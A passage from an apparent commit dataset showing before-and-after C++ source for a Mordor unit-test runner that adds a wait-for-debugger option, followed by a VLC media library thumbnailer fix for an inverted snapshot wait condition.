::runTests(&suites, &listener);\n}\n\ntemplate <>\nvoid Test::assertEqual<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) == 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"==\");\n    }\n}\n\ntemplate <>\nvoid Test::assertNotEqual<const char *, const char *>(const char *file,\n    int line, const char *lhs, const char *function, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) != 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"!=\");\n    }\n}\n\ntemplate <>\nvoid Test::assertLessThan<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) < 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"<\");\n    }\n}\n\ntemplate <>\nvoid Test::assertLessThanOrEqual<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) <= 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"<=\");\n    }\n}\n\ntemplate <>\nvoid Test::assertGreaterThan<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) > 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \">\");\n    }\n}\n\ntemplate <>\nvoid Test::assertGreaterThanOrEqual<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) == 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \">=\");\n    }\n}\n<commit_msg>Config option to wait for a debugger to attach before running unit tests.<commit_after>\/\/ Copyright (c) 2009 - Decho Corp.\n\n#include \"mordor\/pch.h\"\n\n#include \"test.h\"\n\n#include <iostream>\n\n#include \"mordor\/config.h\"\n#include \"mordor\/sleep.h\"\n\n#ifdef WINDOWS\n#include <windows.h>\n#elif defined (LINUX)\n#include <fcntl.h>\n#include <stdlib.h>\n#include <string.h>\n#elif defined (OSX)\n#include <sys\/sysctl.h>\n#endif\n\nusing namespace Mordor;\nusing namespace Mordor::Test;\n\nstatic TestSuites *g_allTests;\n\nstatic ConfigVar<bool>::ptr g_protect = Config::lookup(\n    \"test.protect\", false,\n    \"Protect test while running under a debugger\");\nstatic ConfigVar<bool>::ptr g_wait = Config::lookup(\n    \"test.waitfordebugger\", false,\n    \"Wait for a debugger to attach before running tests\");\n\n#ifdef WINDOWS\n#elif defined(LINUX)\nstatic bool IsDebuggerPresent()\n{\n    bool result = false;\n    char buffer[1024];\n    snprintf(buffer, 1024, \"\/proc\/%d\/status\", getpid());\n    int fd = open(buffer, O_RDONLY);\n    if (fd >= 0) {\n        int rc = read(fd, buffer, 1024);\n        if (rc > 0) {\n            const char *tracerPidStr = strstr(buffer, \"TracerPid:\");\n            if (tracerPidStr) {\n                int tracingPid = atoi(tracerPidStr + 13);\n                if (tracingPid != 0) {\n                    result = true;\n                }\n            }\n        }\n        close(fd);\n    }\n    return result;\n}\n#elif defined(OSX)\nstatic bool IsDebuggerPresent()\n{\n    int mib[4];\n    kinfo_proc info;\n    size_t size;\n    mib[0] = CTL_KERN;\n    mib[1] = KERN_PROC;\n    mib[2] = KERN_PROC_PID;\n    mib[3] = getpid();\n    size = sizeof(kinfo_proc);\n    info.kp_proc.p_flag = 0;\n    sysctl(mib, 4, &info, &size, NULL, 0);\n    return !!(info.kp_proc.p_flag & P_TRACED);\n}\n#else\nstatic bool IsDebuggerPresent()\n{\n    return false;\n}\n#endif\n\nvoid\nTest::registerTest(const std::string &suite, const std::string &testName,\n             TestDg test)\n{\n    if (!g_allTests)\n        g_allTests = new TestSuites();\n    (*g_allTests)[suite].second[testName] = test;\n}\n\nvoid\nTest::registerSuiteInvariant(const std::string &suite, TestDg invariant)\n{\n    if (!g_allTests)\n        g_allTests = new TestSuites();\n    MORDOR_ASSERT((*g_allTests)[suite].first == NULL);\n    (*g_allTests)[suite].first = invariant;\n}\n\nvoid\nTest::assertion(const char *file, int line, const char *function,\n                const std::string &expr)\n{\n    throw boost::enable_current_exception(Assertion(expr))\n        << boost::throw_file(file) << boost::throw_line(line)\n        << boost::throw_function(function)\n        << errinfo_backtrace(backtrace());\n}\n\nstatic bool\nrunTest(TestListener *listener, const std::string &suite,\n             const std::string &testName, TestDg test)\n{\n    if (listener)\n        listener->testStarted(suite, testName);\n    \n    bool protect = !IsDebuggerPresent();\n    protect = protect || g_protect->val();\n    if (protect) {\n        try {\n            test();\n            if (listener)\n                listener->testComplete(suite, testName);\n        } catch (const Assertion &assertion) {\n            if (listener)\n                listener->testAsserted(suite, testName, assertion);\n            return false;\n        } catch (...) {\n            if (listener)\n                listener->testException(suite, testName);\n            return false;\n        }\n    } else {\n        test();\n        if (listener)\n            listener->testComplete(suite, testName);\n    }\n    return true;\n}\n\nstatic bool\nrunTests(const TestSuites *suites, TestListener *listener)\n{\n    if (g_wait->val()) {\n        while (!IsDebuggerPresent())\n            sleep(10000ull);\n#ifdef WINDOWS\n        DebugBreak();\n#endif\n    }\n    bool result = true;\n    if (!suites) suites = g_allTests;\n    if (suites) {\n        for (TestSuites::const_iterator it(suites->begin());\n            it != suites->end();\n            ++it) {\n            for (TestSuite::second_type::const_iterator\n                    it2(it->second.second.begin());\n                it2 != it->second.second.end();\n                ++it2) {\n                if (it->second.first) {\n                    result = result && runTest(listener, it->first,\n                        \"<invariant>\", it->second.first);\n                }\n                result = runTest(listener, it->first, it2->first,\n                    it2->second) && result;\n            }\n            if (it->second.first) {\n                result = runTest(listener, it->first,\n                    \"<invariant>\", it->second.first) && result;\n            }\n        }\n    }\n    if (listener)\n        listener->testsComplete();\n    return result;\n}\n\nconst TestSuites &\nTest::allTests()\n{\n    if (!g_allTests)\n        g_allTests = new TestSuites();\n    return *g_allTests;\n}\n\nTestSuites\nTest::testsForArguments(int argc, const char **argv)\n{\n    TestSuites tests;\n    const TestSuites &all = allTests();\n    for (int i = 0; i < argc; ++i) {\n        std::string suite = argv[i];\n        std::string test;\n        size_t offset = suite.find(\"::\");\n        if (offset != std::string::npos) {\n            test = suite.substr(offset + 2);\n            suite = suite.substr(0, offset);\n        }\n        TestSuites::const_iterator suiteIt = all.find(suite);\n        if (suiteIt != all.end()) {\n            if (test.empty()) {\n                tests[suite] = suiteIt->second;\n            } else {\n                TestSuite::second_type::const_iterator testIt =\n                    suiteIt->second.second.find(test);\n                if (testIt != suiteIt->second.second.end()) {\n                    tests[suite].first = suiteIt->second.first;\n                    tests[suite].second[test] = testIt->second;\n                }\n            }                \n        }\n    }\n    return tests;\n}\n\nbool\nTest::runTests()\n{\n    return ::runTests(g_allTests, NULL);\n}\n\nbool\nTest::runTests(const TestSuites &suites)\n{\n    return ::runTests(&suites, NULL);\n}\n\nbool\nTest::runTests(TestListener &listener)\n{\n    return ::runTests(g_allTests, &listener);\n}\n\nbool\nTest::runTests(const TestSuites &suites, TestListener &listener)\n{\n    return ::runTests(&suites, &listener);\n}\n\ntemplate <>\nvoid Test::assertEqual<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) == 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"==\");\n    }\n}\n\ntemplate <>\nvoid Test::assertNotEqual<const char *, const char *>(const char *file,\n    int line, const char *lhs, const char *function, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) != 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"!=\");\n    }\n}\n\ntemplate <>\nvoid Test::assertLessThan<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) < 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"<\");\n    }\n}\n\ntemplate <>\nvoid Test::assertLessThanOrEqual<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) <= 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \"<=\");\n    }\n}\n\ntemplate <>\nvoid Test::assertGreaterThan<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) > 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \">\");\n    }\n}\n\ntemplate <>\nvoid Test::assertGreaterThanOrEqual<const char *, const char *>(const char *file,\n    int line, const char *function, const char *lhs, const char *rhs,\n    const char *lhsExpr, const char *rhsExpr)\n{\n    if (!(strcmp(lhs, rhs) == 0)) {\n        assertComparison(file, line, function, lhs, rhs, lhsExpr, rhsExpr,\n            \">=\");\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Added inline to check_required (#51)<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n * Media Library\n *****************************************************************************\n * Copyright (C) 2015 Hugo Beauzée-Luyssen, Videolabs\n *\n * Authors: Hugo Beauzée-Luyssen<hugo@beauzee.fr>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#include \"VLCThumbnailer.h\"\n\n#include <cstring>\n#ifdef WITH_JPEG\n#include <jpeglib.h>\n#elif defined(WITH_EVAS)\n#include <Evas_Engine_Buffer.h>\n#endif\n#include <setjmp.h>\n\n#include \"IMedia.h\"\n#include \"logging\/Logger.h\"\n#include \"MediaLibrary.h\"\n\nVLCThumbnailer::VLCThumbnailer(const VLC::Instance &vlc)\n    : m_instance( vlc )\n#ifdef WITH_EVAS\n    , m_canvas( nullptr, &evas_free )\n#endif\n    , m_snapshotRequired( false )\n    , m_height( 0 )\n{\n#ifdef WITH_EVAS\n    static int fakeBuffer;\n    evas_init();\n    auto method = evas_render_method_lookup(\"buffer\");\n    m_canvas.reset( evas_new() );\n    if ( m_canvas == nullptr )\n        throw std::runtime_error( \"Failed to allocate canvas\" );\n    evas_output_method_set( m_canvas.get(), method );\n    evas_output_size_set(m_canvas.get(), 1, 1 );\n    evas_output_viewport_set( m_canvas.get(), 0, 0, 1, 1 );\n    auto einfo = (Evas_Engine_Info_Buffer *)evas_engine_info_get( m_canvas.get() );\n    einfo->info.depth_type = EVAS_ENGINE_BUFFER_DEPTH_ARGB32;\n    einfo->info.dest_buffer = &fakeBuffer;\n    einfo->info.dest_buffer_row_bytes = 4;\n    einfo->info.use_color_key = 0;\n    einfo->info.alpha_threshold = 0;\n    einfo->info.func.new_update_region = NULL;\n    einfo->info.func.free_update_region = NULL;\n    evas_engine_info_set( m_canvas.get(), (Evas_Engine_Info *)einfo );\n#endif\n}\n\nVLCThumbnailer::~VLCThumbnailer()\n{\n#ifdef WITH_EVAS\n    evas_shutdown();\n#endif\n}\n\nbool VLCThumbnailer::initialize(IMetadataServiceCb *callback, MediaLibrary* ml)\n{\n    m_cb = callback;\n    m_ml = ml;\n    return true;\n}\n\nunsigned int VLCThumbnailer::priority() const\n{\n    \/\/ This needs to be lower than the VLCMetadataService, since we want to know the file type.\n    return 50;\n}\n\nvoid VLCThumbnailer::run(std::shared_ptr<Media> file, void *data )\n{\n    if ( file->type() == IMedia::Type::UnknownType )\n    {\n        \/\/ If we don't know the file type yet, it actually looks more like a bug\n        \/\/ since this should run after file type deduction, and not run in case\n        \/\/ that step fails.\n        m_cb->done( file, Status::Fatal, data );\n        return;\n    }\n    else if ( file->type() != IMedia::Type::VideoType )\n    {\n        \/\/ There's no point in generating a thumbnail for a non-video file.\n        m_cb->done( file, Status::Success, data );\n        return;\n    }\n    else if ( file->snapshot().empty() == false )\n    {\n        LOG_INFO(file->snapshot(), \" already has a snapshot\" );\n        m_cb->done( file, Status::Success, data );\n        return;\n    }\n\n    VLC::Media media( m_instance, file->mrl(), VLC::Media::FromPath );\n    media.addOption( \":no-audio\" );\n    VLC::MediaPlayer mp( media );\n\n    setupVout( mp );\n\n    if ( startPlayback( file, mp, data ) == false )\n        return;\n\n    \/\/ Seek ahead to have a significant preview\n    if ( seekAhead( file, mp, data ) == false )\n        return;\n\n    takeSnapshot( file, mp, data );\n}\n\nbool VLCThumbnailer::startPlayback(std::shared_ptr<Media> file, VLC::MediaPlayer &mp, void* data )\n{\n    bool failed = true;\n\n    std::unique_lock<std::mutex> lock( m_mutex );\n\n    mp.eventManager().onPlaying([this, &failed]() {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        failed = false;\n        m_cond.notify_all();\n    });\n    mp.eventManager().onEncounteredError([this]() {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        m_cond.notify_all();\n    });\n    mp.play();\n    bool success = m_cond.wait_for( lock, std::chrono::seconds( 3 ), [&mp]() {\n        return mp.state() == libvlc_Playing || mp.state() == libvlc_Error;\n    });\n    if ( success == false || failed == true )\n    {\n        \/\/ In case of timeout or error, don't go any further\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n    return true;\n}\n\nbool VLCThumbnailer::seekAhead(std::shared_ptr<Media> file, VLC::MediaPlayer& mp, void* data )\n{\n    std::unique_lock<std::mutex> lock( m_mutex );\n    float pos = .0f;\n    auto event = mp.eventManager().onPositionChanged([this, &pos](float p) {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        pos = p;\n        m_cond.notify_all();\n    });\n    mp.setPosition( .4f );\n    bool success = m_cond.wait_for( lock, std::chrono::seconds( 3 ), [&pos]() {\n        return pos >= .1f;\n    });\n    \/\/ Since we're locking a mutex for each position changed, let's unregister ASAP\n    event->unregister();\n    if ( success == false )\n    {\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n    return true;\n}\n\nvoid VLCThumbnailer::setupVout( VLC::MediaPlayer& mp )\n{\n    mp.setVideoFormatCallbacks(\n        \/\/ Setup\n        [this, &mp](char* chroma, unsigned int* width, unsigned int *height, unsigned int *pitches, unsigned int *lines) {\n            strcpy( chroma, \"RV32\" );\n\n            const float inputAR = (float)*width \/ *height;\n\n            *width = Width;\n            auto prevHeight = m_height;\n            m_height = (float)Width \/ inputAR + 1;\n            \/\/ If our buffer isn't enough anymore, reallocate a new one.\n            if ( m_height > prevHeight )\n            {\n                m_buff.reset( new uint8_t[Width * m_height * Bpp] );\n            }\n            *height = m_height;\n            *pitches = Width * Bpp;\n            *lines = m_height;\n            return 1;\n        },\n        \/\/ Cleanup\n        nullptr);\n    mp.setVideoCallbacks(\n        \/\/ Lock\n        [this](void** pp_buff) {\n            *pp_buff = m_buff.get();\n            return nullptr;\n        },\n        \/\/unlock\n        [this](void*, void*const*) {\n            std::unique_lock<std::mutex> lock(m_mutex);\n            if ( m_snapshotRequired == true )\n            {\n                m_snapshotRequired = false;\n                m_cond.notify_all();\n            }\n        }\n        ,\n        \/\/display\n        nullptr\n    );\n}\n\nbool VLCThumbnailer::takeSnapshot(std::shared_ptr<Media> file, VLC::MediaPlayer &mp, void *data)\n{\n    \/\/ lock, signal that we want a snapshot, and wait.\n    {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        m_snapshotRequired = true;\n        bool success = m_cond.wait_for( lock, std::chrono::seconds( 3 ), [this]() {\n            \/\/ Keep waiting if the vmem thread hasn't restored m_snapshotRequired to false\n            return m_snapshotRequired == true;\n        });\n        if ( success == false )\n        {\n            m_cb->done( file, Status::Error, data );\n            return false;\n        }\n    }\n    mp.stop();\n    return compress( file, data );\n}\n\n#ifdef WITH_JPEG\n\nstruct jpegError : public jpeg_error_mgr\n{\n    jmp_buf buff;\n    char message[JMSG_LENGTH_MAX];\n\n    static void jpegErrorHandler(j_common_ptr common)\n    {\n        auto error = reinterpret_cast<jpegError*>(common->err);\n        (*error->format_message)( common, error->message );\n        longjmp(error->buff, 1);\n    }\n};\n\n#endif\n\nbool VLCThumbnailer::compress( std::shared_ptr<Media> file, void *data )\n{\n    auto path = m_ml->snapshotPath();\n    path += \"\/\";\n    path += std::to_string( file->id() ) +\n#ifdef WITH_EVAS\n            \".png\";\n#else\n            \".jpg\";\n#endif\n\n#ifdef WITH_JPEG\n    \/\/FIXME: Abstract this away, though libjpeg requires a FILE*...\n    auto fOut = fopen(path.c_str(), \"wb\");\n    \/\/ ensure we always close the file.\n    auto fOutPtr = std::unique_ptr<FILE, int(*)(FILE*)>( fOut, &fclose );\n    if ( fOut == nullptr )\n    {\n        LOG_ERROR(\"Failed to open snapshot file \", path);\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n\n    jpeg_compress_struct compInfo;\n    JSAMPROW row_pointer[1];\n\n    \/\/libjpeg's default error handling is to call exit(), which would\n    \/\/be slightly problematic...\n    jpegError err;\n    compInfo.err = jpeg_std_error(&err);\n    err.error_exit = jpegError::jpegErrorHandler;\n\n    if ( setjmp( err.buff ) )\n    {\n        LOG_ERROR(\"JPEG failure: \", err.message);\n        jpeg_destroy_compress(&compInfo);\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n\n    jpeg_create_compress(&compInfo);\n    jpeg_stdio_dest(&compInfo, fOut);\n\n    compInfo.image_width = Width;\n    compInfo.image_height = m_height;\n    compInfo.input_components = Bpp;\n#if ( !defined(JPEG_LIB_VERSION_MAJOR) && !defined(JPEG_LIB_VERSION_MINOR) ) || \\\n    ( JPEG_LIB_VERSION_MAJOR <= 8 && JPEG_LIB_VERSION_MINOR < 4 )\n    compInfo.in_color_space = JCS_EXT_BGR;\n#else\n    compInfo.in_color_space = JCS_RGB;\n#endif\n    jpeg_set_defaults( &compInfo );\n    jpeg_set_quality( &compInfo, 85, TRUE );\n\n    jpeg_start_compress( &compInfo, TRUE );\n\n    auto stride = compInfo.image_width * Bpp;\n\n    while (compInfo.next_scanline < compInfo.image_height) {\n      row_pointer[0] = &m_buff[compInfo.next_scanline * stride];\n      jpeg_write_scanlines(&compInfo, row_pointer, 1);\n    }\n    jpeg_finish_compress(&compInfo);\n    jpeg_destroy_compress(&compInfo);\n#elif defined(WITH_EVAS)\n    auto evas_obj = std::unique_ptr<Evas_Object, void(*)(Evas_Object*)>( evas_object_image_add( m_canvas.get() ), evas_object_del );\n    if ( evas_obj == nullptr )\n        return false;\n    evas_object_image_colorspace_set( evas_obj.get(), EVAS_COLORSPACE_ARGB8888 );\n    evas_object_image_size_set( evas_obj.get(), Width, m_height );\n    evas_object_image_data_set( evas_obj.get(), m_buff.get() );\n\n    evas_object_image_save( evas_obj.get(), path.c_str(), NULL, \"quality=100 compress=9\");\n#else\n#error FIXME\n#endif\n\n    file->setSnapshot( path );\n    m_cb->done( file, Status::Success, data );\n    return true;\n}\n<commit_msg>VLCThumbnailer: Fix inverted logic.<commit_after>\/*****************************************************************************\n * Media Library\n *****************************************************************************\n * Copyright (C) 2015 Hugo Beauzée-Luyssen, Videolabs\n *\n * Authors: Hugo Beauzée-Luyssen<hugo@beauzee.fr>\n *\n * This program is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation; either version 2.1 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.\n *****************************************************************************\/\n\n#include \"VLCThumbnailer.h\"\n\n#include <cstring>\n#ifdef WITH_JPEG\n#include <jpeglib.h>\n#elif defined(WITH_EVAS)\n#include <Evas_Engine_Buffer.h>\n#endif\n#include <setjmp.h>\n\n#include \"IMedia.h\"\n#include \"logging\/Logger.h\"\n#include \"MediaLibrary.h\"\n\nVLCThumbnailer::VLCThumbnailer(const VLC::Instance &vlc)\n    : m_instance( vlc )\n#ifdef WITH_EVAS\n    , m_canvas( nullptr, &evas_free )\n#endif\n    , m_snapshotRequired( false )\n    , m_height( 0 )\n{\n#ifdef WITH_EVAS\n    static int fakeBuffer;\n    evas_init();\n    auto method = evas_render_method_lookup(\"buffer\");\n    m_canvas.reset( evas_new() );\n    if ( m_canvas == nullptr )\n        throw std::runtime_error( \"Failed to allocate canvas\" );\n    evas_output_method_set( m_canvas.get(), method );\n    evas_output_size_set(m_canvas.get(), 1, 1 );\n    evas_output_viewport_set( m_canvas.get(), 0, 0, 1, 1 );\n    auto einfo = (Evas_Engine_Info_Buffer *)evas_engine_info_get( m_canvas.get() );\n    einfo->info.depth_type = EVAS_ENGINE_BUFFER_DEPTH_ARGB32;\n    einfo->info.dest_buffer = &fakeBuffer;\n    einfo->info.dest_buffer_row_bytes = 4;\n    einfo->info.use_color_key = 0;\n    einfo->info.alpha_threshold = 0;\n    einfo->info.func.new_update_region = NULL;\n    einfo->info.func.free_update_region = NULL;\n    evas_engine_info_set( m_canvas.get(), (Evas_Engine_Info *)einfo );\n#endif\n}\n\nVLCThumbnailer::~VLCThumbnailer()\n{\n#ifdef WITH_EVAS\n    evas_shutdown();\n#endif\n}\n\nbool VLCThumbnailer::initialize(IMetadataServiceCb *callback, MediaLibrary* ml)\n{\n    m_cb = callback;\n    m_ml = ml;\n    return true;\n}\n\nunsigned int VLCThumbnailer::priority() const\n{\n    \/\/ This needs to be lower than the VLCMetadataService, since we want to know the file type.\n    return 50;\n}\n\nvoid VLCThumbnailer::run(std::shared_ptr<Media> file, void *data )\n{\n    if ( file->type() == IMedia::Type::UnknownType )\n    {\n        \/\/ If we don't know the file type yet, it actually looks more like a bug\n        \/\/ since this should run after file type deduction, and not run in case\n        \/\/ that step fails.\n        m_cb->done( file, Status::Fatal, data );\n        return;\n    }\n    else if ( file->type() != IMedia::Type::VideoType )\n    {\n        \/\/ There's no point in generating a thumbnail for a non-video file.\n        m_cb->done( file, Status::Success, data );\n        return;\n    }\n    else if ( file->snapshot().empty() == false )\n    {\n        LOG_INFO(file->snapshot(), \" already has a snapshot\" );\n        m_cb->done( file, Status::Success, data );\n        return;\n    }\n\n    VLC::Media media( m_instance, file->mrl(), VLC::Media::FromPath );\n    media.addOption( \":no-audio\" );\n    VLC::MediaPlayer mp( media );\n\n    setupVout( mp );\n\n    if ( startPlayback( file, mp, data ) == false )\n        return;\n\n    \/\/ Seek ahead to have a significant preview\n    if ( seekAhead( file, mp, data ) == false )\n        return;\n\n    takeSnapshot( file, mp, data );\n}\n\nbool VLCThumbnailer::startPlayback(std::shared_ptr<Media> file, VLC::MediaPlayer &mp, void* data )\n{\n    bool failed = true;\n\n    std::unique_lock<std::mutex> lock( m_mutex );\n\n    mp.eventManager().onPlaying([this, &failed]() {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        failed = false;\n        m_cond.notify_all();\n    });\n    mp.eventManager().onEncounteredError([this]() {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        m_cond.notify_all();\n    });\n    mp.play();\n    bool success = m_cond.wait_for( lock, std::chrono::seconds( 3 ), [&mp]() {\n        return mp.state() == libvlc_Playing || mp.state() == libvlc_Error;\n    });\n    if ( success == false || failed == true )\n    {\n        \/\/ In case of timeout or error, don't go any further\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n    return true;\n}\n\nbool VLCThumbnailer::seekAhead(std::shared_ptr<Media> file, VLC::MediaPlayer& mp, void* data )\n{\n    std::unique_lock<std::mutex> lock( m_mutex );\n    float pos = .0f;\n    auto event = mp.eventManager().onPositionChanged([this, &pos](float p) {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        pos = p;\n        m_cond.notify_all();\n    });\n    mp.setPosition( .4f );\n    bool success = m_cond.wait_for( lock, std::chrono::seconds( 3 ), [&pos]() {\n        return pos >= .1f;\n    });\n    \/\/ Since we're locking a mutex for each position changed, let's unregister ASAP\n    event->unregister();\n    if ( success == false )\n    {\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n    return true;\n}\n\nvoid VLCThumbnailer::setupVout( VLC::MediaPlayer& mp )\n{\n    mp.setVideoFormatCallbacks(\n        \/\/ Setup\n        [this, &mp](char* chroma, unsigned int* width, unsigned int *height, unsigned int *pitches, unsigned int *lines) {\n            strcpy( chroma, \"RV32\" );\n\n            const float inputAR = (float)*width \/ *height;\n\n            *width = Width;\n            auto prevHeight = m_height;\n            m_height = (float)Width \/ inputAR + 1;\n            \/\/ If our buffer isn't enough anymore, reallocate a new one.\n            if ( m_height > prevHeight )\n            {\n                m_buff.reset( new uint8_t[Width * m_height * Bpp] );\n            }\n            *height = m_height;\n            *pitches = Width * Bpp;\n            *lines = m_height;\n            return 1;\n        },\n        \/\/ Cleanup\n        nullptr);\n    mp.setVideoCallbacks(\n        \/\/ Lock\n        [this](void** pp_buff) {\n            *pp_buff = m_buff.get();\n            return nullptr;\n        },\n        \/\/unlock\n        [this](void*, void*const*) {\n            std::unique_lock<std::mutex> lock(m_mutex);\n            if ( m_snapshotRequired == true )\n            {\n                m_snapshotRequired = false;\n                m_cond.notify_all();\n            }\n        }\n        ,\n        \/\/display\n        nullptr\n    );\n}\n\nbool VLCThumbnailer::takeSnapshot(std::shared_ptr<Media> file, VLC::MediaPlayer &mp, void *data)\n{\n    \/\/ lock, signal that we want a snapshot, and wait.\n    {\n        std::unique_lock<std::mutex> lock( m_mutex );\n        m_snapshotRequired = true;\n        bool success = m_cond.wait_for( lock, std::chrono::seconds( 3 ), [this]() {\n            \/\/ Keep waiting if the vmem thread hasn't restored m_snapshotRequired to false\n            return m_snapshotRequired == false;\n        });\n        if ( success == false )\n        {\n            m_cb->done( file, Status::Error, data );\n            return false;\n        }\n    }\n    mp.stop();\n    return compress( file, data );\n}\n\n#ifdef WITH_JPEG\n\nstruct jpegError : public jpeg_error_mgr\n{\n    jmp_buf buff;\n    char message[JMSG_LENGTH_MAX];\n\n    static void jpegErrorHandler(j_common_ptr common)\n    {\n        auto error = reinterpret_cast<jpegError*>(common->err);\n        (*error->format_message)( common, error->message );\n        longjmp(error->buff, 1);\n    }\n};\n\n#endif\n\nbool VLCThumbnailer::compress( std::shared_ptr<Media> file, void *data )\n{\n    auto path = m_ml->snapshotPath();\n    path += \"\/\";\n    path += std::to_string( file->id() ) +\n#ifdef WITH_EVAS\n            \".png\";\n#else\n            \".jpg\";\n#endif\n\n#ifdef WITH_JPEG\n    \/\/FIXME: Abstract this away, though libjpeg requires a FILE*...\n    auto fOut = fopen(path.c_str(), \"wb\");\n    \/\/ ensure we always close the file.\n    auto fOutPtr = std::unique_ptr<FILE, int(*)(FILE*)>( fOut, &fclose );\n    if ( fOut == nullptr )\n    {\n        LOG_ERROR(\"Failed to open snapshot file \", path);\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n\n    jpeg_compress_struct compInfo;\n    JSAMPROW row_pointer[1];\n\n    \/\/libjpeg's default error handling is to call exit(), which would\n    \/\/be slightly problematic...\n    jpegError err;\n    compInfo.err = jpeg_std_error(&err);\n    err.error_exit = jpegError::jpegErrorHandler;\n\n    if ( setjmp( err.buff ) )\n    {\n        LOG_ERROR(\"JPEG failure: \", err.message);\n        jpeg_destroy_compress(&compInfo);\n        m_cb->done( file, Status::Error, data );\n        return false;\n    }\n\n    jpeg_create_compress(&compInfo);\n    jpeg_stdio_dest(&compInfo, fOut);\n\n    compInfo.image_width = Width;\n    compInfo.image_height = m_height;\n    compInfo.input_components = Bpp;\n#if ( !defined(JPEG_LIB_VERSION_MAJOR) && !defined(JPEG_LIB_VERSION_MINOR) ) || \\\n    ( JPEG_LIB_VERSION_MAJOR <= 8 && JPEG_LIB_VERSION_MINOR < 4 )\n    compInfo.in_color_space = JCS_EXT_BGR;\n#else\n    compInfo.in_color_space = JCS_RGB;\n#endif\n    jpeg_set_defaults( &compInfo );\n    jpeg_set_quality( &compInfo, 85, TRUE );\n\n    jpeg_start_compress( &compInfo, TRUE );\n\n    auto stride = compInfo.image_width * Bpp;\n\n    while (compInfo.next_scanline < compInfo.image_height) {\n      row_pointer[0] = &m_buff[compInfo.next_scanline * stride];\n      jpeg_write_scanlines(&compInfo, row_pointer, 1);\n    }\n    jpeg_finish_compress(&compInfo);\n    jpeg_destroy_compress(&compInfo);\n#elif defined(WITH_EVAS)\n    auto evas_obj = std::unique_ptr<Evas_Object, void(*)(Evas_Object*)>( evas_object_image_add( m_canvas.get() ), evas_object_del );\n    if ( evas_obj == nullptr )\n        return false;\n    evas_object_image_colorspace_set( evas_obj.get(), EVAS_COLORSPACE_ARGB8888 );\n    evas_object_image_size_set( evas_obj.get(), Width, m_height );\n    